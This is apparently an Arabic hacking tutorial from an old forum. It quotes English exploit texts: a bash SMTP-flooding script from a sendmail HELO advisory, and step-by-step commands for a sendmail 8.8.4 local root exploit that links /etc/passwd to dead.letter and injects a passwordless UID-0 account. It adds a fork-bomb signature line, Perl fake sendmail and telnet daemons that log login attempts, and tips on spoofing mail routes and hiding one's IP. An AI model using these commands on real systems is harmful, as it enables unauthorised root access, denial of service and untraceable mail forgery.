safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"
echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0
while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=SENT+1
echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
CONNECTED=`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ]; then
echo "It's just an example, sorry."
echo
exit 0
fi
done
-- EOF --
Suggested fix: insert additional length limit into HELO/EHLO
parameter scanning routine OR disable AllowBogusHELO (but it
may cause serious troubles). I have no 8.8.8 sources at the
time, so execuse me if it's unclear.
PS:
--
From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>
I was able to reproduce the header problem by lengthening the HELO string
in your script.
[...]
This will be fixed in sendmail 8.9.
--
_______________________________________________________________________
Micha³ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowaو jest rzecz± ludzk±, wykonywaو rekursywnie - bosk± [P. Deustch]
=--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=
ثالثا : ثغرة مميته في Sendmail رقم 8.8.4 (مأخوذ من hackersclub.com)
--------------------------------------------------
sendmail8.8.4 exploit
"sendmail? 'tis the bugiest program" -phriend-
Ok, here's a brief and interesting explonation of this famous exploit. This
exploit uses sendmail version 8.8.4 and it requires that you have a shell
acount on the server in question. The exploit creates a link from
/etc/passwd to /var/tmp/dead.letter Very simple really. Here's how it
works, below are the exact commands as you have to type them (for the
technically challendged ones)
* ln /etc/passwd /var/tmp/dead.letter
* telnet target.host 25
* mail from: nonexsistent@not.an.actual.host.com
* rcpt to: nonexsistent@not.as.actual.host.com
* data
* lord::0:0:leet shit:/root:/bin/bash
* .
* quit
Kaboom, you're done, telnet to port 23 and log in as lord, no password
required. Thanx to a little bit of work we did, lord just happens to have
the same priviledges as root.
There are a couple of reasons why this might not work.
1. /var and / are different partitions (as you already know, you can't
make hard links between different partitions)
2. There is a postmaster account on a machine or mail alias, in which
case, your mail will end up there instead of being written to a
etc/passwd
3. /var/tmp doesn't exist or isn't publicly writable
Duncan Silver
www.hackersclub.com/uu
ملاحظه : ان هذا السطر lord::0:0:leet shit:/root:/bin/bash مأخوذ من ملف باسوورد اليونكس (33) Unix password file
زاوية النيوبيز newbies (المبتدئين)
----------------
1. ديمون Daemon : هو برنامج يقوم بالانصات للأتصالات الاتيه عن طريق منفذ معين port . بعض الديومنز قد يستقبل منك الاوامر ويتفاعل معك والبعض الاخر يعطيك بعض النصوص ثم يفصل .
2. البورت Port : وتسمى بالعربي المنافذ فهنالك منافذ فيزيائية ومنافذ برمجية في جهازك . المنافذ الفيزيائية هي الثغرات والفتحات الموجوده خلف صدوق جهازك كفتحت الطابعه والشاشه وغيرها
اما المنافذ البرمجيه وهي عباره عن ارقام افتراضيه تستخدم للإتصال بالأجهزه الاخرى
3. Service الخدمه : يمكن الديمون جميع من يتصل به (كمجموعه معينه من المستخدمين لديهم اسماء مستخدمين وكلمات مرور) من استخدام خدمه معينه . مثلا : الـ webserver هو خدمه لأنه يمكن مجموعه من المستخدمين من دخول الانترنت والسؤال عن معلومات او بيانات معينه .
ابسط مثال للخدمه يمكن ان امثله لك هو خدمه " daytime " . ان Daytime يقوم بإنتظار الاتصالات الصادره وعن طريق المنفذ 13 فهو يقوم بإخبار المستخدم المتصل به بالوقت الحالي للكمبيوتر الذي يقوم بتشغيل هذه الخدمه (بدون اي حاجه منك لكتابت اي من الاوامر او كلمات المرور او اي شي اخر)
4.بانر الديمون Daemon banner : أغلب الديمونز تعطيك بعض المعلومات التقنية عندما تتصل بها في منطقه معينه . هذه المعلومات يستطيع ان يحصل عليها اي شخص يتصل بأي ديمون وهذه المعلومات تفيدك بنوع الديمون ورقم اصداره الخ,,,
حاول الاتصال بأي موقع someone.com على البورت 23 (لاحظ ان هذا الموقع من تأليفي وجميع التفاصيل المتعلقه بهذا المثال هي ببساطه لتوضيح ماهية الديمون banner )
على البورت 23 سيخولك عادة للدخول على الموقع عن طريق التلنت . التلنت هي خدمه تطلب منك اسم المستخدم او الرقم السري في اغلب الاحيان الا اذا كتبت اسم مستخدم ليس له رقم سري في هذه الحاله ببساطه سيجعلك متصل بالموقع وأيضا يقوم التلنت بتشغيل برنامج مخصص عن طريق الـ sysadmin (22) ويجعلك تتعامل مع هذا البرنامج
في أغلب الاحيان ان لك تكن كلها سيجعلك التلنت تتعامل مع text-based shell سطر تكتب فيه نصوص الاوامر يسمى (command interpreter) أي مترجم الاوامر (20)
المشكله هي : انك لن تستطيع فعل شيء . فالإعتماد الكلي يكون على نوع التصاريح التي تملكها من مالك الموقع
فالمستخدم r00t اي الجذر (14) يحمل جميع التصاريح (مخول لقراءة كل شي او تحرير اي شي او حتى حذف اي شي ) وايضا مخول لتشغيل اي شي او تغيير تصاريح المستخدمين
اوكي لنتصل بالموقع someone.com على البورت 23 . في البداية سنحصل على شي شبيه بهذا :
Welcome to someone.com, running FreeBSD 4.13
Login:
اذن هذا الموقع يشغل نظام يسمى FreeBSD 4.13 (عن طريق هذه المعلومه تستطيع اختراق هذا الموقع وذلك ببحثك عن ثغرات متعلقة بهذا النظام :) )
كل قطعه من الملعلومات المتعلقه بسيرفر الويب webserver مهمه جدا
في حال لم نعرف اسم المستخدم او الرقم السري لهذا السيرفر فبإمكاننا انهاء هذا الاتصال او نقوم بمحاولة التخمين
اغلب السيرفرات لها حساب خاص بالزوار guest account
username: guest, password: guest او username: guest فقط
او لها ايضا حساب للمستخدمين الجدد newuser account
username: newuser, password: newuser او username: newuser فقط
لكن بالتأكيد هذا لن يساعدنا في اختراق هؤلاء الشباب :( الا اذا كان هنالك ثغره (مدمره) في هذه الحسابات
هنا يجب عليك تخيلها بنفسك
ملاحظه عن الكلمه server : الكمبيوتر يسمى سيرفر اذا وفر خدمه معينه اما اذا لم يوفر فيسمى host
5. Timeout : حسنا تخيل ان شخصا قام بالاتصال على ديمون معين عن طرق منفذ 23 ماذا يحدث اذا اتصل و لم يفعل شيئأ ؟ ببساطه سيظل متصلا بالديمون حتى يأتي واحد منا فيقوم بإعادة التشغيل او فصل الاتصال .
طبعا لا تريد شخصا ما يقوم بالاتصال بجهازك عن طريق بورت معين ويظل جالسا هناك , أليس كذلك؟ إن هذا الشخص يؤثؤ على كمية البيانات (15) bandwidth !
اغلب مديري الشبكات لا يريدون البقاء وتفحص حالة الشبكه 24 ساعه لفصل اي اتصال خامل او لا فائدة منه (خاصة في الشبكات العملاقه ) وهذا هو سبب اختراع Timeout
عن طريق وضع قيمة timeout على الديمون (ويتم ذلك اثناء عملية التنصيب او تشغيل تصيب برنامج او ادخال بعض من الأختيارات على الجهاز) تستطيع ايقاف اي اتصال خامل يستمر حتى نهاية قيمة الوقت المحدده لقطع الاتصال .
6. TCP : اختصار لـ Transfer Control Protocol وهو بروتوكول يستخدم لنقل البيانات عن طريق الشبكات (الانترنت او الشبكات المحلية الخ).
TCP اكثر اعتماديه من UDP (اقرأ الدرس 'IP Spoofing Demystified' في قسم الكتب في http://blacksun.box.sk فهو يحتوي على معلومات كثيره متعلقه بالTCP حقيقة ينبغي عليك قرائته)
ان سلبية الTCP الوحيده هي انها ابطأ من UDP ولكنها اكثر اعتماديه فهي تهتم بنقل الملفات الحساسه (كالبرامج فإذا فقدت بت bit واحد فقط من برنامج ما فسيجعله غير مفيد )
7.UDP : اختصار User Datagram Protocol وهو بروتوكول يستخدم لنقل البيانات عن طريق الشبكات (الانترنت او الشبكات المحلية الخ).
UDP اقل اعتماديه من TCP (اقرأ الدرس 'IP Spoofing Demystified' في قسم الكتب في http://blacksun.box.sk فهو يحتوي على معلومات كثيره متعلقه بالUDP حقيقة ينبغي عليك قرائته)
ولكنه يزال اسرع بقليل من TCP . ثم ان برنامج مثل Real Player تستخدم هذا البروتوكول لنقل الصوتيات والمرئيات حيث ان خسارة حزمة بيانات (32) واحده او اثنتان ليست بمشكله كبيره
8. ICMP : اختصار Internet Control Message Protocol وهو بروتوكول يستخدم لنقل الاخطاء المتواجده بالشبكة (الانترنت او الشبكات المحلية الخ).
9.IP address عنوان الاي بي : اختصار Internet Protocol
كل جهاز متصل بالانترنت يملك رقم IP . اذا اراد كمبيوتر اخر ان يتفاعل مع كمبيوترك فإنه يحتاج الى رقم IP تبعك
تبدو عنواين الـIP هكذا x.x.x.x بحيث يكون x رقم ما بين 0 الى 255
ملاحظه : هنالك ارقام اي بي خاصه لا تستخدم للإتصال بالكمبيوترات الاخرى . مثلا :127.0.0.1 تعني localhost اي المستضيف المحلي وهذا يعني انت (اي جهازك الحاسوب)
10. Hostname اسم المستضيف : بإختصار ان الhostname هو الاسم المستعار لـعنوان الـIP .
هنالك قائمة بأسماء المستضيفين وأرقام الآي بيات التابعه لهم محفوظه في InterNIC الذي هو قاعدة بيانات بأسماء المستضيفين hostnames وارقام الايبيات الخاصه بهم
عندما تكتب هوستنيم معين فإن حاسوبك سيبحث عن هذا الهوستنيم ويجد رقم الـIP المناسب له ثم يتصل به .
تخيل ان كل العالم يتصل بالـInterNIC ليجلب منه رقم الآي بي والهوستنيم هذا بالتأكيد سيحمله حموله زائدة عن طاقة السيرفرات التي تحمل قاعدة البيانات هذه وسيجعلهم يصرفون الاموال الكثيره لعمل تحديثات ونسخ احتياطيه للبيانات.
ماذا سيحصل اذا حدث امر سيء في قاعدة البيانات هذه ؟!! لابد لها من حل والحل يوجد لدى سيرفرات DNS(17).
11. ايجاد سيرفر الايميلات الصادرة لـISP الذي تتعامل معه - هنالك طرق عده لإيجاده :
1) اتصل بمزود خدمه الانترنت لديك وأسألهم عن عنوان الـIP او الهوستنيم لسيرفر الايميلات الصادره
2) قم بتشغيل برنامج الايميل الذي تتعامل معه واذهب الى صفحة الخيارات "Preferences" وابحث عن خانة 'outgoing mail' او خانة 'SMTP server' (كلاهما سواء . SMTP تعني Simple Mail Transfer Protocl وهو بروتوكول (18) يستخدم لأرسال الايميلات عبر الانترنت)
3)التخمين . اذا كان سيرفر الهدف هكذا someone.com فسيكون سيرفر الايميل هكذا mailgw.someone.com:25
(اي mailgw.someone.com على المنفذ 25 . ملاحظه : mailgw تعني mail gateway )
او سيكون سيرفر الايميل نفسه someone.com:25
ملاحظه : ليس كل سيرفر على هذا الكوكب لدية سيرفر رسالئل صادره .
12. Portscanner : هو البرنامج الذي يقوم بعملية بحث وتقصي في هدف معين بغية ايجاد منافذ مفتوحه عن طريق محاولة اتصال هذا البرنامج بالهدف عن طريق بورتات مختلفه.
ابسط portscanner هو الذي يبدأ من البورت 1 ويبدأ بالإرتفاع وهنالك بعض البورت سكانرز اكثر تطور بحيث يبحث في مجموعة معينه من المنافذ وايضا يعطيك بعض المعلومات عن المنافذ المفتوحه .
13. Services scanner : ان Services scanner اكثر تعقيدا من portscanner حيث انه يقوم بمحاولة الاتصال على منافذ معروفه للبحث عن الخدمه التي تبحث عنها .
14.Root : هو حساب يوجد في اجهزة اليونكس بحيث يكون صاحب هذا الحساب لدية صلاحيات قوية مثل(قراءة اي ملف ,تحرير او حذف اي ملف ,تشغيل اي ملف او تغير صلاحيات المستخدمين الآخرين)
ملاحظه : بعض الحسابات قد تملك امكانية الدخول كـ root و حساب الروت قد لا يملك عادة امكانية دخوله كـroot , وهذا يعتمد على sysadmin (ولكن الروت هو الحساب الافتراضي الذي يمكنك من دخول النظام كـr00t )
15.Bandwidth : كمية السرعه الكاملة لأداة اتصال شبكية (المودم , كرت الشاشه او mail pigeon الخ..) . مثلا : لقد اشتريت مودم جديد سرعته (bandwidth) مئة 100 k في الثانية ,هذا يعني انه ينقل البيانات الى 100 كيلوبت في الثانية
16. برنامج الزبون Client program : هو برنامج يتصل بخدمه معينه . لنأخذ مثال : متصفح الانترنت (مثل نت سكيب Netscape) هو برنامج زبون لأنه يتصل على بورت 80 الذي يملكه ديمون سيرفر الويب ويتعامل معه لأجل تحميل ملف ميعن تبحث عنه
17.سيرفر DNS : هو سيرفر يقوم بتخزين عنواين الهوستنيم و الايبيات التابعه . وهذا السيرفر يوجد لدى كل مزود خدمة انترنت ISP وهذا ساعد سيرفرات InterNIC التي كانت تحمل في عاتقها تزويد العالم بأكمله بالعناوين التي تطلبها .
عندما تكتب عنوان في المتصفح (Hostname) وتأمر مودمك بالاتصال به سيقوم جهازك بعملية تسمى 'DNS Lookup' . يمعنى اخر سيطلب سيرفر DNS لمزود خدمه الانترنت الذي تتعامل معه بالبحث عن عنوان IP المناسب لعنوان الهوستنيم الذي كتبته .
اذا لم يستطع المستوى الاعلى Higher-level لـDNS ايجاد الاي بي المناسب فسيذهب المتصفح بأمر سيرفر DNS اخر وهكذا حتى يصل لأعلى مستوى في سيرفر InterNIC
18. البروتوكول Protocol : هي مجموعة من الاحكام والقواعد الموضوعه المستخدمه عن طريق اجهزة الكمبيوتر للتفاعل مع غيرها من الاجهزة في الشبكه
وهذه البروتوكولات ضرورة بحد ذاتها لكي يفهم كل جهاز لغيره من الاجهزة . وهنالك بروتوكولات عده كالسالف ذكرها في الاعلى
19. التلنت Telnet : هو برنامج بكل بساطه يقوم بعملية اتصال بين جهازين في الشبكة ولكن اعتمادها الاساسي يكون على الاوامر النصيه للتفاعل فيما بينهما . في هذا البرنامج بأمكانك كتابة عنوان اي بي او هوستنيم الكمبيوتر الهدف ورقم المنفذ ثم يقيم التلنت بعملية اتصال TCP بين كلا الجهازين.
ملاحظه عن ديمون التلنت : ديمون التلنت يختلف بشكل كامل , فهو ينتظر اتصالات TCP او UDP على البورت 23 ثم يطلب المستخدم بـ الـLogin (ايضا يطلق عليه بـ username ) و الرقم السري (الا اذا كتب المستخدم اسم دخول لا يحتاج الى رقم سري , في هذه الحالة سيدخل بدون رقم سري . الحسابات التي لا تتطلب كلمة سريه محدودة جدا جدا )
ثم يعمل بتشغيل برنامج ما ( غالبا يكون command interpreter مترجم الاوامر 20 ) ثم يعطيك بعض الصلاحيات , وهذا يعتمد كليا على اسم المستخدم والباسوورد الذي تدخله (الا اذا اعطيته تفاصيل خطأ في هذه الحاله سيخبرك ان الاسم والباسورد خطأ ويعطيك محاولة اخرى . اغلب الانظمة تعطيك 3 محاولات فقط ثم يفصل الاتصال)
20: Command interpreter : هو برنامج يقبل الاوامر الصادره من المستخدم ثم يحولها الى اوامر حقيقية يفهمها كمبيوترك .
مثلا : لو يحتوي مترجم الاوامر لديك امر ما ,لنقل, امر 'display' يعني "اعرض" ثم كتبت هذا الامر 'display somefile' (بدون علامات الإقتباس , مع تبديل somefile بـ اسم ملف حقيقي) عندها سيقوم المترجم بترجمة الامر الى " اوكي mr.computer قم بالبحث عن السواقة الصلبه عن طريق فعل هذا وهذا واذهب الى FAT (File Allocation Taple( جدول مواقع الملفات ) ثم اوجد اي sector/sectors يوجد به الملف , ثم احظر هذا الملف وارسله الى terminal device (اي آلة اخراج البيانات output device وغالبا تكون الشاشه ) لكي ارى الملف ' هل فهمت الفكرة الاساسية؟؟
21. حساب الصدفة shell account : هو حساب يوجد على جهاز بعيد (اسم مستخدم والباسوورد وبعض الملفات ) . امتلاك حساب الصدفه على جهاز بعيد يعني امكانية اتصالك بهذا الجهاز عن طريق البورت 23 اي انه يحمل ديمون telnet
22.Sysadmin / admin : وهو الشخص المكلف بالاهتمام بالنظام
23. Hyper Text : اذا كنت قد رأيت ملف HTML فإنك بالتأكيد تعرف ماهو الـhyper text ولكن قد لا تكون مهتم به . HTML ختصار لـ Hyper Text Markup Language وهي لغة تستخدم لتصميم الصفحات
Hyper text معروف على انه مساعد للنص "enhanced text", اي انك تستطيع بهذه اضافة صور او تغيير الوان او وضع روابط لهذا النص .
24. RFC : اختصار Request For Comment. وهي صفحات أولية مرجعيه من IETF ( Internet Engineering Task Force فهذه المنظمة تحمل بعاتقها اقتراح جميع المقاييس والمعايير الانترنتية .
25. InterNIC: قاعدة بيانات تسجيل اسماء الدومين وهو الطبقة العليالسيرفرات DNS على هذا الكوكب . لذلك احببت ان اسميه DNS الام .
26. Sub domain :
الدرجة الأولى من الدومينات تأتي هكذا : something.com (او اي امتداد ,مثل, org , net, cc, co.uk الخ) ولتسجل دومين واحدا ينبغي عليك دفع مبلغ من المال لأحدى المواقع التي توفر هذه الخدمه مثل (http://www.register.com)
الدرجة الثانية من الدويمنات تأتي هكذا : someone.something.com وهي مجانية وتوفرها بعض المواقع مثل oocities.com
لاحظ ان سعر الدومين لا يشمل سعر الاستضافة اي انك تستطيع شراء الدومين من موقع ما والإستضافة من موقع اخر .
27. SSH : اختصار لـ Secure Shell وهو ديمون ينتظر اتصالات TCP او UDP الوارده على المنفذ 22 . عندما تتصل به سيطلب منك معلومات حسابك لديه مثل ديمون التلنت ولكن SSH يقوم بتشفير كل شيء لزيادة الامن .
28. Moderated mailing list / message board : وهي قائمة المراسلات البريدية التي يتحكم بإرسال رسائلها مراقب معين بحيث يقبل بالرسائل الممتازه ويتجاهل الرسائل السيئة اي يقوم بعملية فلتره وهذا يحدث ايضا في المسج بورد MESSAGE BOARD
29. هجوم DoS حجب الخدمه : وهو اختصار لـ Denial of Service (ايضاء يسمى بـ Nuke ) . هجوم DoS هو نوع من الهجكات التي تسبب ايقاف خدمه معينه او كل الخدمات الموجوده بكمبيوتر الهدف عن مستخدمين هذا الكمبيوتر (محليين كانوا ام بعيدين)
مثلا : Winnuke (ايضا يعرف بـ OOB ) ابسط DoS في العالم وهو برنامج مؤذي لأنظمة Win 3.11 , Win95 و Win NT فهو يرسل راسئل معارضه لآي بي معين عن طريق بورت معين 139 وهذه الرسائل تتسبب في طرد صاحب الاي بي من الانترنت وهذا يستخدم عاده في قنوات المحادثات IRC فإستخدام هذا البرنامج في الهجوم يجعل اتصالك بطيئ وقد يتسبب في اظهار فصحة الاخطاء الزرقاء المزعجة
بعضكم قد كان ضحية هذا الهجوم فإذا ظهرت لك هذه الشاشة وهذه الرسالة التعارضية
Fatal exception 0E at 0028: in VxD MSTCP(01) + 000041AE.
This was called from 0028: in VxD NDIS(01) + 00000D7C.
فقم بإعادة تشغيل الجهاز للرجوع الى الحالة الطبيعية .
30. DUN : اختصار Dial Up Adapter فهو برنامج يأتي مع وندوز يجعلك تتصل بمزود خدمة الانترنت في حالة كنت تملك حساب Dial-up
31. حساب Dail up : حساب دايل اب في ISP معين يعني ان مودمك يقوم بالأتصال برقم هاتفي معين قبل دخولك للشبكة العنكبوتية . بخلاف حسابات ISP الاخرى ( الكيبلات المباشره تجعلك متصل بالانترنت 24 ساعه في اليوم) تأخذ عنوان IP متغير dynamic IP address ( وليس ثابت مثل اتصالات الكيبل المباشره )
32. Packet حزمة البيانات: وهي قطعه من البيانات تتنقل عبر الشبكة ( الانترنت مثلا) . الحزمة تتكون من قسمين اساسيين : الهيدر والداتا
الهيدر يحتوي على كل انواع القيم الذكية 'NIFTY VALUES' مثل الـ TTL وهي اختصار (TIME TO LIVE) والكثير ( اقراء عنها في قسم Modem Speedup في موقع http://blacksun.box.sk) .
اما قسم الداتا فيحتوي على جميع البيانات التي تحملها الحزمة .
في حسابات dial-up العادية , يكون حجم الحزمة 576 بايت ولكن اتصالات الكيبل المباشره يكون حجم الpacket بالتأكيد اكبر .
33. ملفات باسوورد اليونكس Unix Password Files :
كل نظام يونكس لدية ملف password . يحتوي على قائمة بالمستخدمين وكلمات السريه الخاصه بهم وبعض المعلومات المهمه عنهم .
ملف الباسوورد موجود في /etc/passwd
كل سطر يمثل مستخدم واحد . وكل سطر يحتوي على 7 حقول مقسمة باستخدام النقطتان الرأسيتان " : "
كل سطر باسوورد يأتي على هذه الشاكله:
Username:encrypted password:UID:GID:short description:home directory:shell
Username - اسم المستخدم
Encrypted password - باسوورد المستخدم المشفر (شفر لدواعي امنيه *_^ ) . الباسوورد المشفر طولة عادة 13 حرف.
UID - وهو User ID . كل مستخدم له رقم ID . اذا كان UID تبعك "صفر" هذا يعني انك تملك خاصة الدخول كروت ROOT
GID - وهو Group ID . بإمكانك وضع مجموعات ( مثلا : كل العاملين في احسابات مقسمين الى مجموعات ) ويمكنك وضع صلاحيات خاصه لكل المجموعه . Root لدية GID صفر
Short description - وهو وصف قصير بلغة الانسان.
Home directory - وهو الدليل الذي يوجد به ملفات التركيب "configuration files" الخاصة بالمستخدمين .
Shell - هو برنامج يعمل عندما تقوم بعميلة log in في الديمون وهو في هذه الحاله يسمى مترجم الاوامر
في حالتنا هذه خانة الباسوورد المشفر تكون فاضيه وهذا يعني ان المستخدم سجل الدخول بإستخدام اسم المستخدم username فقط
وتستطيع تغيير ذلك بوضع الباسوورد عن طريق هذا الامر " passwd" في مكان مترجم الاوامر ثم يطلب منك الديمون ان تضع الباسوورد لحسابك
ملاحظه 1 : في بعض الانظمة , يجب عليك كتابة " passwd " ثم اسمك المستخدم بدلا من كتابت passwd فقط
ملاحظة 2 : الروت يستطيع وضع باسوورد لحساب ما او حتى تغيير الباسوورد لأي مستخدم كان في النظام .
كسر الباسوورد المشفر
-------------
لهذا الامر تحتاج الى كاسر الباسووردات password cracker وهو برنامج يقوم بالبحث في ملفات الكلمات "word list" او في مجموعة من الحروف عن كلمة مطابقة للباسوورد المشفر . مثل برنامج bruteforce
اللاحقة A : الديمون المزيف Fake Daemons
-----------------------------
وجدت برنامجان fake daemons وهما (Sendmail و Telnet) في موقع packetstorm.com . خطيرين للهاكرز الأغبياء ولعمل الخدع لأصحابك
مكتوبين بلغة البرمجه Perl
لتشغيلهم على نظام اليونكس ببساطة اكتب
./filename
وبدل filename بأسم الملف الذي تريد تشغيله
اما اذا اردت تشغيله تحت نظام الدوس / وندوز ينبغي عليك تحميل Active Perl من موقع www.activeperl.com ثم اضغط على البرنامج نقرتين وسيعمل معك :)
الان لنرى هذان البرنامجان ...
ولكن رؤيتهما ينبغي عليك قراءة ملف 'readme' المرفق معهما اولا ثم سترى ديمون الsendmail المزيف ثم ديمون الtelnet المزيف
والان سأتركك لتقرأ ملف الreadme وحاول ان تترجم الكلمات الصعبة عن طريق موقع المسبار misbar.com
== Readme ==
heh.. this piece is no way serious, but if anyone think it would be cool to
keep working on the piece, drop a line with your ideas. We may develop it
further. ;-). I basically coded it just for fun, when I had few spare
minutes.
The piece is supposed to be `want-to-be-Windog-Deception-toolkit' which
contains sample sendmail.pl and telnetd.pl which are supposed to be fake
sendmail and telnet daemons. To run this code you will need to download
and install perl for windoze. (I used active perl from
http://www.activeware.com to test it).
Hope you will have fun with it
C.P.
fygrave@tigerteam.net
Sun May 23 17:12:51 KGST 1999
== End of Readme ==
وهنا برنامج ديمون الsendmail المزيف
-- [ SendmailD ] -- #editor's notes: SenndmailD stands for Sendmail Daemon(1), just like TelnetD stands for Telnet Daemon etc'
#!/usr/bin/perl
use Socket;
$port=25;
$hostname="booga.com"; # does windog have gethostbyname?
$banner="220 boogaa.com ESMTP Sendmail 8.6.1/8.5.0\n\r"; # date should be aslo here
$fail="500 Command unrecognized:";
socket(S,AF_INET,SOCK_STREAM,$protocol) || die "socket: $!";
$sockaddr='S n a4 x8';
$this=pack($sockaddr,AF_INET,$port,"\0\0\0\0");
bind(S,$this) || die "bind: $!";
listen(S,10) || die "listen: $!";
select(S);
$|=1;
select(STDOUT);
while(1) {
($addr= accept(NS,S)) || die "accept: $!";
select(NS);
$|=1;
select(STDOUT);
#
#here we should fork. but damn windog doesn't support this. crap.
# Any ideas?
($af,$port,$inetaddr)=unpack($sockaddr,$addr);
@inetaddr=unpack('C4',$inetaddr);
($i1,$i2,$i3,$i4)=@inetaddr;
$ipaddr="$i1.$i2.$i3.$i4";
print "connected from $ipaddr\n";
print NS $banner;
while(<NS>) {
if (/EHLO/i) {
print NS "Hello $ipaddr. nice to meet you\n\r";
} else {
print NS "$fail $_\r";
print "tried $_";
}
}
print "$ipaddr disconnected\n";
close(NS);
}
-- [ نهاية; SendmailD ] --
-- [بداية Telnetd ] --
#!/usr/bin/perl
use Socket;
$port=23;
$login="\n\rlogin:";
$password="password:";
$banner="\n\r\n\rUnix(r) System V Release 4.0 (brooder)\n\r";
$fail="login incorrect.\n\r";
socket(S,AF_INET,SOCK_STREAM,$protocol) || die "socket: $!";
$sockaddr='S n a4 x8';
$this=pack($sockaddr,AF_INET,$port,"\0\0\0\0");
bind(S,$this) || die "bind: $!";
listen(S,10) || die "listen: $!";
select(S);
$|=1;
select(STDOUT);
while(1) {
($addr= accept(NS,S)) || die "accept: $!";
select(NS);
$|=1;
select(STDOUT);
#
#here we should fork. but damn windog doesn't support this. crap.
# Any ideas?
($af,$port,$inetaddr)=unpack($sockaddr,$addr);
@inetaddr=unpack('C4',$inetaddr);
($i1,$i2,$i3,$i4)=@inetaddr;
$ipaddr="$i1.$i2.$i3.$i4";
print "connected from $ipaddr\n";
print NS $banner;
print NS $login;
while(<NS>) {
print "attempt to log in as $_\n";
print NS "$password";
$ll=<NS> || last;
sleep 5;
print "tried password $ll. Login incorrect is given\n";
print NS $fail;
print NS $login;
}
print "$ipaddr disconnected\n";
close(NS);
}
-- [ نهاية; TelnetD ] --
اللاحقة B: توجيه الايميل Routing Mail
-------------------------
بإمكانك جعل ايميلك يمر بسيرفرات مختلفه لأرسال رسالتك المزيفه لأجل جعل الهيدر طويل ويربك الذي يحاول ان يحدد السيرفر الذي ارسلت منه ليصطادك
مثال : اذا اردت ان ترسل رسالة مزيفه الى هذا الايميل blah@blah.com وستوجهه عن طريق blaha.com و blahb.com و blahc.com
انذاك اكتب في مكان 'rcpt to : ' التالي :
@blaha.com,@blahb.com,@blahc.com:blah@blah.com
ملاحظة / هذه الحركه قد لا تعمل مع كل ديمون sendmail
اللاحقة C : تزييف عنوان الـ IP الخاص بك Faking your IP
---------------------------------------<
اذن لا تريد الناس يجدون عنوان الـ IP الخاص بك او الهوستنيم عندما يرون الهيدر كاملا ؟ اذن ببساطة قم بتزييف عنوان الIP
تستطيع عمل ذلك بإستخدام Wingates او الجدار الناري SOCKS
او عن طريق التلنته (القيام بعملية TELNET ) لديمون Sendmail عن طريق حساب شيل
اذا استخدمت واحدا من هؤلاء فإن الهيدر كاملا سيعرض IP مزود السيل او الجدار النار لSOCKS او Wingates
اذا وجد حساب shell يمكنك من التلنته خارجه فأنك تستطيع استخدامه لتزوير عنوان الاي بي الخاص بك .
انصحك بقرائة درس Proxy/Wingate/SOCKS و anonymity في موقع blacksun.box.sk
وأيضا انصحك بقرائة كتاب IP Spoofing Demystified الموجود في قسم الكتب في نفس الموقع
واخيرا وليس اخرا ارجو من الله ان يفيدكم هذا الدرس وتفهمونه جيدا
والسلام خير ختام
اخوكم LAMeR